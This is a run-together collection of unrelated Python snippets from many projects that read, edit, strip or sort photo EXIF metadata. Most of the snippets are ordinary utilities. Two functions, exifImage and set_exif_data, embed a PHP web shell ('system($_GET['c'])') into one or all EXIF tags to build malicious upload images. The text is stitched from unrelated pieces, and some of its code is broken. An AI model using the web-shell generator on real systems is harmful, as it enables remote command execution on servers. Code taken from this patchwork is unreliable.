def extract_exif_data(filepath, photo_b, result): try: exif_data = exif.Image(photo_b) except Exception as e: # TODO: Refine this broad except logger.warning( f"{filepath} extracting exif data had unexpected error: {e}") return result if exif_data.has_exif: try: result.camera_make = exif_data.get('make', None) if result.camera_make and (result.camera_make[-3] == '\x00'): result.camera_make = result.camera_make[0:30].rstrip('\x00') except Exception as e: logger.warning( f"{filepath} extracting camera make had unexpected error: {e}") try: result.camera_model = exif_data.get('model', None) if result.camera_model and (result.camera_model[-3] == '\x00'): result.camera_model = result.camera_model[0:30].rstrip('\x00') except Exception as e: logger.warning( f"{filepath} extracting camera model had unexpected error: {e}" ) try: result.creation_time = exif_data.get('datetime', None) except Exception as e: logger.warning( f"{filepath} extracting datatime had unexpected error: {e}") try: result.datetime_original = exif_data.get('datetime_original', None) except Exception as e: logger.warning( f"{filepath} extracting datetime_oringinal had unexpected error: {e}" ) return result
def get_exif_datetime(path: str) -> dt.datetime: with open(path, 'rb') as img_file: image = exif.Image(img_file) if not image.has_exif or 'datetime' not in dir(image): print(f"image '{path}' has no datetime") return None return dt.datetime.strptime(image.datetime, '%Y:%m:%d %H:%M:%S')
def scanFile(): imagePath = input("Image to analyze:") splitted = imagePath.split(".") try: if len(splitted)>1: extension = splitted[-1] except: extension = "none" print (extension) if extension.lower() in validExtensions: with open(f'{imagePath}', 'rb') as image_file: try: my_image = exif.Image(image_file) except: print(f"{os.path.basename(imagePath)} no exif data found") print(time.ctime(os.path.getctime(imagePath))) return if(my_image.has_exif): for attribute in dir(my_image): if attribute[0] == "_": print(f"{attribute} irrelevant") else: try: print(f"{attribute} : {getattr(my_image,attribute)}") except: print(f"{attribute} not printable") else: print(os.path.getctime(imagePath))
def __init__(self, filename): self.__categorised = OrderedDict() with open(filename, 'rb') as image_file: exif_data = exif.Image(image_file) if exif_data.has_exif: self.__parse(exif_data) self.__print(exif_data)
def get_exif_creation_date(img_path: Path) -> Optional[str]: """Get exif creation date from file. Args: img_path: Path to file Returns: Exif creation date-time as string, None if no exif information is available """ with open(img_path, 'rb') as file: try: image = exif.Image(file) if image.has_exif: return image.datetime_original else: print( f"INFO: File {img_path} does not seem to contain Exif information. It will be copied." ) return None except AssertionError: print( f"INFO: File {img_path} does not seem to contain Exif information. It will be copied." ) return None
def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None): if _in is None: _in = PIL.Image.new(Image.RGB, (10, 10), (255, 255, 255)) if isinstance(_in, str): _in = exif.Image(open(_in, "rb")) elif isinstance(_in, PIL.Image): bytes = io.BytesIO() img.save(bytes) _in = exif.Image(bytes) elif not isinstance(_in, exif.Image): print("Invalid input. Either give an Image or a path to an image.") return valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values()) if exif_tag is None: exif_tag = "image_description" elif exif_tag == "all": for exif_tag in valid_tags: try: _in[exif_tag] = payload print("adding:", exif_tag) except Exception as e: pass else: if exif_tag not in valid_tags: print("Invalid exif-tag. Choose one of the following:") print(", ".join(valid_tags)) return _in[exif_tag] = payload if _out is None: sys.stdout.write(_in.get_file()) sys.stdout.flush() elif isinstance(_out, str): with open(_out, "wb") as f: f.write(_in.get_file()) elif hasattr(_out, "write"): _out.write(_in.get_file()) else: print("Invalid output argument.")
def get_exif(self): try: with open(str(self.relative_folder / self.filename), 'rb') as image_file: self.__exif = exif.Image(image_file) self.got_meta = True except (IOError, AssertionError): self.got_meta = False
def get_exif_gsp_img_direction(file_path): with open(file_path, "rb") as image_file: im = exif.Image(image_file) image_file.close() try: return im.gps_img_direction except AttributeError: return None
def get_image_description(file_path): with open(file_path, "rb") as image_file: im = exif.Image(image_file) image_file.close() try: return im.user_comment except (UnicodeDecodeError, AttributeError): return None
def write_exif_to_pano(file_path, fov): with open(file_path, "rb") as image_file: im = exif.Image(image_file) image_file.close() im.gps_img_direction = get_view_direction(fov) im.gps_img_direction_ref = "M" with open("/tmp/exifed.jpg", "wb") as new_image_file: new_image_file.write(im.get_file()) new_image_file.close() os.rename("/tmp/exifed.jpg", file_path)
def get_exif_from_file(cls, filename): with open(filename, 'rb') as image_file: try: img = exif.Image(image_file) except Exception as e: image_file.close() raise e log.debug('has exif: %s' % img.has_exif) image_file.close() return img
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None): if _in is None or (isinstance(_in, str) and not os.path.exists(_in)): _in = Image.new("RGB", (50,50), (255,255,255)) if isinstance(_in, str): _in = exif.Image(open(_in, "rb")) elif isinstance(_in, Image.Image): bytes = io.BytesIO() _in.save(bytes, format='JPEG') _in = exif.Image(bytes.getvalue()) elif not isinstance(_in, exif.Image): print("Invalid input. Either give an Image or a path to an image.") return valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values()) if exif_tag is None: _in.image_description = payload elif exif_tag == "all": for exif_tag in valid_tags: try: _in[exif_tag] = payload print("adding:", exif_tag) except Exception as e: pass else: if exif_tag not in valid_tags: print("Invalid exif-tag. Choose one of the following:") print(", ".join(valid_tags)) return _in[exif_tag] = payload if _out is None: return _in.get_file() elif isinstance(_out, str): with open(_out, "wb") as f: f.write(_in.get_file()) elif hasattr(_out, "write"): _out.write(_in.get_file()) else: print("Invalid output argument.")
def print_image_meta(filename): with open(filename,'rb') as file: imagefile=exif.Image(file) attrlist = dir(imagefile) length=len(attrlist) for i in range(length): try: print("{} : {}".format(attrlist[i],imagefile[attrlist[i]])) except (Exception, NotImplementedError): i+=i pass
def exif_clean(self, image_name): """ Remove all exif data from the provided image """ with open(image_name, 'rb') as image: image = exif.Image(image) if not image.has_exif: return None image.delete_all() clean_image_name = ''.join( image_name.split('.')[:-1]) + "_cleaned.jpg" with open(clean_image_name, 'wb') as cleaned_image: cleaned_image.write(image.get_file()) return clean_image_name
async def index(request): search_path = settings.BASE_DIR / 'captures' images = [] for img_path in search_path.glob('*.jpg'): im_data = {"url": '/' + '/'.join(img_path.parts[-2:])} with open(img_path, 'rb') as f: exif_img = exif.Image(f) im_data['f_number'] = exif_img.f_number im_data['focal_length'] = exif_img.focal_length im_data['focal_length_35'] = exif_img.focal_length * CROP_1_7 im_data['iso'] = exif_img.photographic_sensitivity im_data['tv'] = fractions.Fraction( exif_img.exposure_time).limit_denominator() images.append(im_data) return {'images': images}
def resolution_sort_image_files(self, the_dir='./'): if os.path.isdir(os.path.abspath(os.path.expanduser(the_dir))): the_dir = os.path.expanduser(the_dir) file_list = [ f for f in listdir(the_dir) if isfile(join(the_dir, f)) ] for current_file in file_list: current_file_path = os.path.abspath( os.path.join(the_dir, current_file)) if os.path.isfile(current_file_path): with open(current_file_path, 'rb') as image_meta: # Sort by resolution # Check if we are working with an image file with exif information try: metadata = ef.Image(image_meta) if metadata.has_exif: #EXIF Resolution variants if hasattr(metadata, 'x_resolution'): dir_name = 'resolution_' + str( round(metadata.x_resolution)) elif hasattr(metadata, 'Xresolution'): dir_name = 'resolution_' + str( round(metadata.Xresolution)) else: #EXIF with no recognised resolution attribute dir_name = 'resolution_NA' else: #No reported EXIF on file dir_name = 'resolution_NA' except: #Unaccessible EXIF or different file type dir_name = 'resolution_NA' dir_name = os.path.abspath( os.path.join(the_dir, dir_name)) if not (os.path.exists(dir_name) & isdir(dir_name)): # Create the directory for the resolution os.mkdir(dir_name) # Move the image to the directory new_file_path = os.path.abspath(dir_name + '/' + current_file) image_meta.close() shutil.move(current_file_path, new_file_path) else: raise ValueError('Could not find directory to sort')
def _read_image_metadata(self, filepath): with open(filepath, 'rb') as f: image_metadata = exif.Image(f) try: info = { 'timestamp': dateutil.parser.parse(image_metadata.datetime), 'exposure_value': image_metadata.exposure_bias_value, 'exposure_mode': image_metadata.exposure_mode, } except AttributeError as e: pass else: return info # If we get here, the tag was not found. raise MetadataNotFoundException()
def exif_data(self, image_name): """ Return a dict of all the known information about the file """ # pylint: disable=broad-except with open(image_name, 'rb') as image: image = exif.Image(image) if image.has_exif: exif_data = {} for prop in dir(image): try: val = getattr(image, prop) if prop[0:1] != "_": if not isinstance(val, types.MethodType): exif_data[prop] = val except Exception: pass return exif_data return None
def get_exif_gps_latlon(file_path): with open(file_path, "rb") as image_file: im = exif.Image(image_file) image_file.close() try: lat = im.gps_latitude lon = im.gps_longitude lat_ref = im.gps_latitude_ref lon_ref = im.gps_longitude_ref if lat_ref == "S": lat = -lat if lon_ref == "W": lon = -lon return Location(dms_to_decimal_degrees(lat), dms_to_decimal_degrees(lon)) except AttributeError: return None
def file_to_annotation(self, file, meta=None): ''' Creates an Annotation object based on the image. Parameters ---------- file : STRING Path and Filename of Image to be annotated. meta : exif.Image object Used for testing purposes only. Returns ------- None. ''' self.root_app.annotations.append(Annotation()) # EXIF data is not present in all images (e.g., png files). If there # is EXIF data, use it to figure out how the image needs to be rotated. try: if self.root_app.window.winfo_ismapped(): meta = exif.Image(file) if meta.has_exif: if 'orientation' in dir(meta): if meta.orientation == 6: self.root_app.annotations[-1].rotation =\ Image.ROTATE_270 elif meta.orientation == 3: self.root_app.annotations[-1].rotation =\ Image.ROTATE_180 elif meta.orientation == 8: self.root_app.annotations[-1].rotation =\ Image.ROTATE_90 # This is the error when no EXIF data is found. except UnpackError: pass return True
def exif_scrub(filepaths, gps, all, pattern): # Scrubs images one by one to avoid memory bloat. for filepath in filepaths: filepath = os.path.expanduser(filepath) with open(filepath, 'rb') as image_file: image = exif.Image(image_file) if not image.has_exif: continue click.echo(f"Scrubbing {filepath}") # Remove EXIF data. if gps: remove_match(image, '^gps') if pattern: remove_match(image, pattern) if all: remove_all(image) # Write new image file. with open(srcubbed_filepath(filepath), 'wb') as new_image_file: new_image_file.write(image.get_file())
def print_simple(filename): with open(filename,'rb') as file: imagefile=exif.Image(file) print(dir(imagefile))
basic_path = "C:\\Kornel_Zdjecia\\telefon_tmp\\Telefon" sylwia_move_path = "C:\\Kornel_Zdjecia\\telefon_tmp\\Telefon\\Sylwia" kornel_move_path = "C:\\Kornel_Zdjecia\\telefon_tmp\\Telefon\\Kornel" other_move_path = "C:\\Kornel_Zdjecia\\telefon_tmp\\Telefon\\Other" files = [ os.path.join(dp, f) for dp, dn, filenames in os.walk(basic_path) for f in filenames ] for cur_file in files: try: cur_file_model = None with open(cur_file, 'rb') as image_file: my_image = exif.Image(image_file) if my_image.has_exif: if hasattr(my_image, 'model'): cur_file_model = my_image.model if cur_file_model == 'Mi 9 Lite': shutil.copy(cur_file, kornel_move_path) os.remove(cur_file) elif cur_file_model == 'Redmi Note 8 Pro': shutil.copy(cur_file, sylwia_move_path) os.remove(cur_file) else: shutil.copy(cur_file, other_move_path) os.remove(cur_file) except: print('can not open file: ' + cur_file)
def model_prediction(): # check if key is correct if 'image_in' not in request.files: return json.dumps({ "code": "E001", "message": "Incorrect form-data key" }) # save the file files = os.listdir(ROOT_PATH) file1 = request.files['image_in'] unique_filename = str(uuid.uuid4()) file_path = ROOT_PATH + "/" + unique_filename + '.jpg' file1.save(file_path) try: im = Image.open(file_path) im.verify() except: os.remove(file_path) # remove the file return json.dumps({"code": "E002", "message": "Incorrect file type"}) print("file uploaded") img_height, img_width = 224, 224 # define the expected input shape for the model # load and prepare the image img = tf.keras.utils.load_img(file_path, target_size=(img_height, img_width)) img_array = tf.keras.utils.img_to_array(img) img_array = tf.expand_dims(img_array, 0) # Create a batch # define the labels labels = ['Dress', 'Longsleeve', 'Pants', 'Shoes', 'T-Shirt'] predictions = model.predict(img_array) score = tf.nn.softmax(predictions[0]) # define the probability threshold for detected objects class_threshold = 0.6 return_data = [] # get the right class lable for prediction if np.max(score) > class_threshold: pred_label = labels[np.argmax(score)] # summarize what we found return_data = [pred_label] # image could not be classified into any category if len(return_data) == 0: os.remove(file_path) return json.dumps({ "code": "E003", "message": "Image could not be classified, Try image of clothing items (pants, shirt, ...)" }) img_files = os.listdir(ROOT_PATH) if len(img_files) <= MAX_IMAGES_ON_SERVER: # max limit of images on page # resize all images to same aspect ratio before saving, img = Image.open(file_path) img = img.resize((400, 400), Image.ANTIALIAS) img.save(file_path, "JPEG", quality=90) # add tags to image description, once the Image processing is done with open(file_path, 'rb') as image_file: my_image = exif.Image(image_file) my_image.image_description = str(return_data) with open(file_path, 'wb') as new_image_file: new_image_file.write(my_image.get_file()) else: os.remove(file_path) return json.dumps({"code": "S000", "message": return_data})
#!/usr/bin/env python3 import os import exif import shutil from pathlib import Path for root, dirs, files in os.walk('/home/ed/Data/govdocs1'): for file in files: path = Path(root) / Path(file) if path.suffix.lower() in ['.jpeg', '.jpg', '.png', '.gif']: try: print(path) img = exif.Image(path) if img.has_exif: shutil.copy(path, Path('data/images') / path.name) except: pass
def estimate(self, img: str) -> DataFrame: """ Estimate leaf area for a given image or directory of images. TO DO: filter images only in the folder - ask the user for extension? @param img: path to the scan or images folder. respects tilde expansion @return pandas DF with the file name of the input and the estimated area(s) """ if os.path.isfile(os.path.abspath(os.path.expanduser(img))): # read the image resolution if not self.res: with open(os.path.expanduser(img), 'rb') as image_meta: try: metadata = ef.Image(image_meta) except: return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'Unable to access EXIF Data for image.' }) if (not metadata.has_exif ) or not (hasattr(metadata, 'x_resolution') or hasattr(metadata, 'Xresolution')): #raise ValueError("Image of unknown resolution. Please specify the res argument in dpi.") return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'Image of unknown resolution. Please specify the res argument in dpi.' }) if hasattr(metadata, 'x_resolution'): if not metadata.x_resolution == metadata.y_resolution: #raise ValueError( "X and Y resolutions differ in Image. This is unusual, and may indicate a problem.") return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'X and Y resolutions differ in Image. This is unusual, and may indicate a problem.' }) else: self.res = metadata.x_resolution elif hasattr(metadata, 'Xresolution'): if not metadata.Xresolution == metadata.Yresolution: #raise ValueError( "X and Y resolutions differ in Image. This is unusual, and may indicate a problem.") return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'X and Y resolutions differ in Image. This is unusual, and may indicate a problem.' }) else: self.res = metadata.Xresolution else: if not metadata.XResolution == metadata.YResolution: #raise ValueError( "X and Y resolutions differ in Image. This is unusual, and may indicate a problem.") return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'X and Y resolutions differ in Image. This is unusual, and may indicate a problem.' }) else: self.res = metadata.XResolution # read the scan try: scan = cv2.imread(os.path.expanduser(img)) except: return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'Unable to open image for processing. Check the file format.' }) if scan is None: return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'Unable to open image for processing. Check the file format.' }) # transfer to grayscale scan = cv2.cvtColor(scan, cv2.COLOR_BGR2GRAY) # classify leaf and background if self.threshold < 0 or self.threshold > 255: #raise ValueError("Threshold must be an integer between 0 and 255.") return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'Error: Threshold must be an integer between 0 and 255.' }) scan = cv2.threshold(scan, self.threshold, 255, cv2.THRESH_BINARY_INV)[1] # label leaflets leaflets = measure.label(scan, background=0) # count number of pixels in each label leaflets = np.unique(leaflets, return_counts=True) # create mask to remove dirt and background mask = np.ones(len(leaflets[1]), dtype=bool) # remove small patches if self.cut_off < 0: #raise ValueError("cutoff for small specks must not be negative.") return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'cutoff for small specks must not be negative.' }) mask[leaflets[1] < self.cut_off] = False # remove background pixels mask[leaflets[0] == 0] = False # background is labeled as 0 # apply mask areas = leaflets[1][mask] # convert from pixels to cm2 res = self.res / 2.54 # 2.54 cm in an inch res = res * res # pixels per cm^2 areas = areas / res # save image if self.output_dir: if os.path.isdir(self.output_dir): write_to = os.path.join( os.path.expanduser(self.output_dir), os.path.basename(img)) cv2.imwrite(write_to, scan) if not self.res: #If we are supplying the resolution, we don't don't touch the exif data piexif.transplant( os.path.abspath(os.path.expanduser(img)), write_to) if self.combine: return pd.DataFrame( data={ 'filename': [img], 'Area': [areas.sum()], 'Resolution': self.res, 'Error': 'No Error' }) else: return pd.DataFrame( data={ 'filename': [img] * areas.shape[0], 'Area': areas, 'Resolution': self.res, 'Error': 'No Error' }) elif os.path.isdir(os.path.abspath(os.path.expanduser(img))): if os.path.abspath(os.path.expanduser(img)) == self.output_dir: return None # obtain a list of images images = os.listdir(os.path.abspath(os.path.expanduser(img))) images = [os.path.join(img, i) for i in images] # print(self.workers) # create a workers pool and start processing pool = multiprocessing.Pool(self.workers) results = pool.map(self.estimate, images) pool.close() pool.join() # unify the results into a single dataframe return pd.concat(results) else: #raise ValueError('Your input {img} needs to be a path to an image or a directory.') return pd.DataFrame( data={ 'filename': [img], 'Area': None, 'Resolution': None, 'Error': 'Your input {img} needs to be a path to an image or a directory.' })
def write_fixes(self, force=False): write_counter = 0 file_counter = 0 progress = PrettyProgress(len(self.db)) if not force: log.warning('not really writing files, use --force') log.info('Processing %i files for update' % len(self.db)) for picture in self.db: progress.step() if self.EXIT.exit: break if picture['datetime'] is None: log.debug('not touching %s as no datetime in db' % picture['filename']) continue filename = os.path.join(self.dir, picture['filename']) date = picture['datetime'] try: datetime.datetime.strptime(date, EXIF_DATETIME_FORMAT) except ValueError: log.error('Datetime % is not a valid datetime to format %s' % (date, EXIF_DATETIME_FORMAT)) sys.exit(1) log.debug('Updating %s' % filename) if os.path.isfile(filename): file_counter = file_counter + 1 with open(filename, 'rb') as f: try: img = exif.Image(f) except plum.UnpackError as e: log.error('Error reading current file %s' % filename) log.debug('%s' % e) continue f.close() log.debug('updating exif to date %s' % date) if not img.has_exif: log.debug('\nOriginal file %s has no exif need to create' % filename) else: if 'datetime' not in list(dir(img)): log.debug('\nOriginal file %s has exif without datetime field' % filename) img.set('datetime', date) else: log.debug('Original file has exif') if img.datetime == date: log.debug('Image already on correct timestamp') continue img.datetime = date if 'datetime_original' in list(dir(img)): img.datetime_original = date if 'datetime_digitized' in list(dir(img)): img.datetime_digitized = date if force: log.debug('writing file %s' % filename) with open(filename, 'wb') as new_file: new_file.write(img.get_file()) new_file.close() write_counter = write_counter + 1 else: log.warning('picture %s in db not on filesystem' % filename) progress.finish() log.info('Processed %i files for updating' % progress.progress_count()) log.info('%i files needed updating' % file_counter) if force: log.info('%i files written' % write_counter)
def preprocess(self, img): """ Pre-processes an image by cropping its edges, adding a red scale, masking existing scales and converting to jpg. @param img: path to the image or folder of images to process @return None """ if os.path.isfile(os.path.abspath(os.path.expanduser(img))): #if not self.output_dir: # output_dir = f'{os.path.split(os.path.isfile(os.path.abspath(os.path.expanduser(img))))[0]}/preprocessed' # os.makedirs(output_dir) if os.path.split(os.path.abspath( os.path.expanduser(img)))[0] == self.output_dir: #raise ValueError( # 'You have provided identical paths for the source and destination images.' + # 'This would cause your file to be overwritten. Execution has been halted.') return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: You have provided identical paths for the source and destination image.' }) # read the image try: scan = cv2.imread(os.path.abspath(os.path.expanduser(img))) except: return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: Unable to open source file.' }) #Check for error state if scan is None: return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: Unable to open source file.' }) dims = scan.shape # crop the edges if self.crop: if self.crop < 0: #print(f'You have attempted to crop a negative number of pixels.') #raise ValueError('You have attempted to crop a negative number of pixels.') return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: You have attempted to crop a negative number of pixels.' }) if self.crop > dims[0] or self.crop > dims[1]: #raise ValueError('You have attempted to crop away more pixels than are available in the image.') return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: You have attempted to crop away more pixels than are available in the image.' }) scan = scan[self.crop:dims[0] - self.crop, self.crop:dims[1] - self.crop] # mask scale if self.mask_pixels: if self.mask_offset_y < 0 or self.mask_offset_x < 0 or self.mask_pixels < 0: #raise ValueError("You have attempted to mask a negative number of pixels.") return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: You have attempted to mask a negative number of pixels.' }) if self.mask_offset_y + self.mask_pixels > dims[ 0] or self.mask_offset_x + self.mask_pixels > dims[1]: #raise ValueError("You have attempted to mask more pixels than are available in the image.") return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: You have attempted to mask more pixels than are available in the image.' }) scan[self.mask_offset_y:self.mask_offset_y + self.mask_pixels, self.mask_offset_x:self.mask_offset_x + self.mask_pixels, 0] = 255 # b channel scan[self.mask_offset_y:self.mask_offset_y + self.mask_pixels, self.mask_offset_x:self.mask_offset_x + self.mask_pixels, 1] = 255 # g channel scan[self.mask_offset_y:self.mask_offset_y + self.mask_pixels, self.mask_offset_x:self.mask_offset_x + self.mask_pixels, 2] = 255 # r channel # add scale if self.red_scale: if self.red_scale_pixels > dims[ 0] or self.red_scale_pixels > dims[1]: #raise ValueError("You have attempted to place a scale bar beyond the margins of the image.") return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: You have attempted to place a scale bar beyond the margins of the image.' }) scan[0:self.red_scale_pixels, 0:self.red_scale_pixels, 0] = 0 # b channel scan[0:self.red_scale_pixels, 0:self.red_scale_pixels, 1] = 0 # g channel scan[0:self.red_scale_pixels, 0:self.red_scale_pixels, 2] = 255 # red channel # file name file_name = os.path.basename( os.path.abspath(os.path.expanduser(img))) file_name = f'{os.path.splitext(file_name)[0]}.jpg' file_name = os.path.join( os.path.abspath(os.path.expanduser(self.output_dir)), file_name) # save as jpg try: metadata = ef.Image(os.path.abspath(os.path.expanduser(img))) except: #Image write failure cv2.imwrite(file_name, scan) return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: EXIF data could not be loaded from source image.' }) #Create the processed image (even if EXIF data isn't viable) cv2.imwrite(file_name, scan) #if (not metadata.has_exif) or not(hasattr(metadata, 'x_resolution') or hasattr(metadata, 'Xresolution')): if (not metadata.has_exif ) or not (hasattr(metadata, 'x_resolution') or hasattr(metadata, 'Xresolution')): # EXIF has no resolution data present return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: EXIF Resolution Data Not transferred to Pre-processed image.' }) else: try: piexif.transplant(os.path.abspath(os.path.expanduser(img)), file_name) except: #Return a data frame to the caller to indicate success return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Error: Unable to copy EXIF data to processed image.' }) #Return a data frame to the caller to indicate success return pd.DataFrame(data={ 'filename': [img], 'Pre-process Result': 'No Error' }) elif os.path.isdir(os.path.abspath(os.path.expanduser(img))): if os.path.abspath(os.path.expanduser(img)) == self.output_dir: return None images = os.listdir(os.path.abspath(os.path.expanduser(img))) images = [ os.path.join(os.path.abspath(os.path.expanduser(img)), i) for i in images ] # create a workers pool and start processing pool = multiprocessing.Pool(self.workers) results = pool.map(self.preprocess, images) pool.close() pool.join() return pd.concat(results) else: #os.rmdir(output_dir) return pd.DataFrame( data={ 'filename': [img], 'Pre-process Result': 'Unable to open file or directory.' })
def scanDir(): scanDirs = [] inputPaths = [] while (True): inputData = input("Path to analyze (type ok when finished):") if inputData.lower() == "ok": break else: inputPaths.append(inputData) for inputPath in inputPaths: directories = os.walk(inputPath) for directory in directories: if not directory[0] in scanDirs: scanDirs.append(directory[0]) for folderPath in scanDirs: started = datetime.now() logging.info(f"{os.path.basename(folderPath)} started at {started}") scanned,relocated = 0,0 for possibleImage in os.listdir(folderPath): splitted = possibleImage.split(".") try: if len(splitted) > 1: extension = splitted[-1] else: extension = "none" except: extension = "none" if extension.lower() in validExtensions: scanned += 1 imagePath = f"{folderPath}\\{possibleImage}" with open(f'{imagePath}', 'rb') as image_file: with concurrent.futures.ThreadPoolExecutor() as executor: try: my_image = exif.Image(image_file) except: try: newImageDirectoy = f"Z:\\RELOCATED\\NO EXIF" newImagePath = f"{newImageDirectoy}\\{os.path.basename(imagePath)}" if not os.path.exists(newImagePath): if not os.path.exists(newImageDirectoy): os.makedirs(newImageDirectoy) threads.append(executor.submit(relocate, [imagePath, newImagePath])) relocated += 1 else: print(f"{os.path.basename(imagePath)} already relocated") except: print(f"{os.path.basename(imagePath)} is invalid") continue if(my_image.has_exif): # for attribute in dir(my_image): # if attribute[0] == "_": # print(f"{attribute} irrelevant") # else: # try: # print(f"{attribute} : {getattr(my_image,attribute)}") # except: # print(f"{attribute} not printable") if hasattr(my_image,"datetime_original"): splittedDate = re.split(r':|\s',my_image.datetime_original) try: year = splittedDate[0] month = splittedDate[1] day = splittedDate[2] datePath = f"{year}\\{month}\\{day}" except: datePath = "desconocido" else: datePath = "desconocido" try: if hasattr (my_image,"model"): newImageDirectoy = f"Z:\\RELOCATED\\{datePath}\\{my_image.model}" elif hasattr (my_image, "software"): newImageDirectoy = f"Z:\\RELOCATED\\{datePath}\\{my_image.software}" else: newImageDirectoy = f"Z:\\RELOCATED\\{datePath}\\desconocido" except: newImageDirectoy = f"Z:\\RELOCATED\\{datePath}\\desconocido" newImagePath = f"{newImageDirectoy}\\{os.path.basename(imagePath)}" try: if not os.path.exists(newImagePath): if not os.path.exists(newImageDirectoy): os.makedirs(newImageDirectoy) threads.append(executor.submit(relocate, [imagePath,newImagePath])) relocated += 1 else: print(f"{os.path.basename(imagePath)} already relocated") except: pass #logging.error(f"Error processing {os.path.basename(imagePath)}") # input() else: newImageDirectoy = f"Z:\\RELOCATED\\NO EXIF" newImagePath = f"{newImageDirectoy}\\{os.path.basename(imagePath)}" if not os.path.exists(newImagePath): if not os.path.exists(newImageDirectoy): os.makedirs(newImageDirectoy) threads.append(executor.submit(relocate, [imagePath, newImagePath])) relocated += 1 else: print(f"{os.path.basename(imagePath)} already relocated") logging.info(f"{os.path.basename(folderPath)} ended at {datetime.now()}, {datetime.now()-started} elapsed \ {scanned} files scanned, {relocated} files relocated")
import sys EXAMPLE_USAGE = """ No path given to extract_photos.py Example Usage: $ ./extract_photos.py /mnt/sdcard0/ /media/tlehman/5501-C42C/DCIM/101_WSCT/WSCT2965.JPG /media/tlehman/5501-C42C/DCIM/101_WSCT/WSCT2966.JPG ... /media/tlehman/5501-C42C/DCIM/101_WSCT/WSCT2969.JPG /media/tlehman/5501-C42C/DCIM/101_WSCT/WSCT2970.JPG """ if __name__ == "__main__": if len(sys.argv) >= 2 and os.path.exists(sys.argv[1]): photo_path = sys.argv[1] photos = list(Path(photo_path).rglob("*.[jJ][pP][gG]")) for photo in photos: created_at = exif.Image(photo).datetime_original new_filename = "tree-%s.jpg" % created_at.replace(" ", "_") new_path = os.path.join(os.getenv("HOME"), "Dropbox/treelapse", new_filename) if not os.path.exists(new_path): print("Copying %s to %s" % (photo, new_path)) shutil.copyfile(photo, new_path) exit(0) else: print(EXAMPLE_USAGE) exit(1)